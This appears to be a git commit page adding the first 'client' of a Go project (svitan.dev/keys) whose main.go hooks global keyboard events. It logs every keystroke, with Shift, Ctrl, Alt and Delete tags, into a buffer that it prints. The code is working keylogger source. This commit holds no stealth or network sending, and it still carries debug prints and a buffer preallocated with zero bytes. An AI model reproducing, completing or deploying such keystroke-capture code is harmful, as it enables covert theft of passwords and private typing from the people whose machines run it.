🎉 Initial client commit
This commit is contained in:
parent
03863161f4
commit
0264c51970
8
client/go.mod
Normal file
8
client/go.mod
Normal file
@ -0,0 +1,8 @@
|
||||
module svitan.dev/keys/client
|
||||
|
||||
go 1.24.1
|
||||
|
||||
require (
|
||||
github.com/robotn/gohook v0.42.0 // indirect
|
||||
github.com/vcaesar/keycode v0.10.1 // indirect
|
||||
)
|
4
client/go.sum
Normal file
4
client/go.sum
Normal file
@ -0,0 +1,4 @@
|
||||
github.com/robotn/gohook v0.42.0 h1:y241yJtt1JvObVwoS2kXJ5OsoIsOoVkp/SPqmCAUhJg=
|
||||
github.com/robotn/gohook v0.42.0/go.mod h1:PYgH0f1EaxhCvNSqIVTfo+SIUh1MrM2Uhe2w7SvFJDE=
|
||||
github.com/vcaesar/keycode v0.10.1 h1:0DesGmMAPWpYTCYddOFiCMKCDKgNnwiQa2QXindVUHw=
|
||||
github.com/vcaesar/keycode v0.10.1/go.mod h1:JNlY7xbKsh+LAGfY2j4M3znVrGEm5W1R8s/Uv6BJcfQ=
|
81
client/main.go
Normal file
81
client/main.go
Normal file
@ -0,0 +1,81 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
hook "github.com/robotn/gohook"
|
||||
)
|
||||
|
||||
const (
|
||||
SHIFT_RAWCODE = 65505
|
||||
CTRL_RAWCODE = 65507
|
||||
ALT_RAWCODE = 65513
|
||||
DEL_KEYCHAR = 8
|
||||
ENTER_KEYCHAR = 13
|
||||
REG_START = 32
|
||||
REG_END = 255
|
||||
)
|
||||
|
||||
func main() {
|
||||
evChan := hook.Start()
|
||||
defer hook.End()
|
||||
buff := make([]byte, 64)
|
||||
|
||||
for ev := range evChan {
|
||||
switch ev.Rawcode {
|
||||
case SHIFT_RAWCODE:
|
||||
if ev.Kind == hook.KeyDown {
|
||||
buff = append(buff, []byte("[SHIFT]")...)
|
||||
} else if ev.Kind == hook.KeyUp {
|
||||
buff = append(buff, []byte("[shift]")...)
|
||||
}
|
||||
continue
|
||||
|
||||
case CTRL_RAWCODE:
|
||||
if ev.Kind == hook.KeyDown {
|
||||
buff = append(buff, []byte("[CTRL]")...)
|
||||
} else if ev.Kind == hook.KeyUp {
|
||||
buff = append(buff, []byte("[ctrl]")...)
|
||||
}
|
||||
continue
|
||||
|
||||
case ALT_RAWCODE:
|
||||
if ev.Kind == hook.KeyDown {
|
||||
buff = append(buff, []byte("[ALT]")...)
|
||||
} else if ev.Kind == hook.KeyUp {
|
||||
buff = append(buff, []byte("[alt]")...)
|
||||
}
|
||||
continue
|
||||
|
||||
case DEL_KEYCHAR:
|
||||
if ev.Kind == hook.KeyDown {
|
||||
buff = append(buff, []byte("[DEL]")...)
|
||||
}
|
||||
continue
|
||||
}
|
||||
|
||||
switch ev.Keychar {
|
||||
case DEL_KEYCHAR:
|
||||
if ev.Kind == hook.KeyDown {
|
||||
buff = append(buff, []byte("[DEL]")...)
|
||||
}
|
||||
continue
|
||||
|
||||
case ENTER_KEYCHAR:
|
||||
if ev.Kind == hook.KeyDown {
|
||||
fmt.Printf("A")
|
||||
buff = append(buff, []byte("\n")...)
|
||||
}
|
||||
continue
|
||||
}
|
||||
|
||||
if REG_START <= ev.Keychar && ev.Keychar <= REG_END {
|
||||
if ev.Kind == hook.KeyDown {
|
||||
fmt.Printf("adding pesky %d (bcs %d)", ev.Keycode, ev.Rawcode)
|
||||
buff = append(buff, byte(ev.Keychar))
|
||||
}
|
||||
}
|
||||
|
||||
fmt.Printf("'%s'\n", buff)
|
||||
}
|
||||
}
|
Loading…
x
Reference in New Issue
Block a user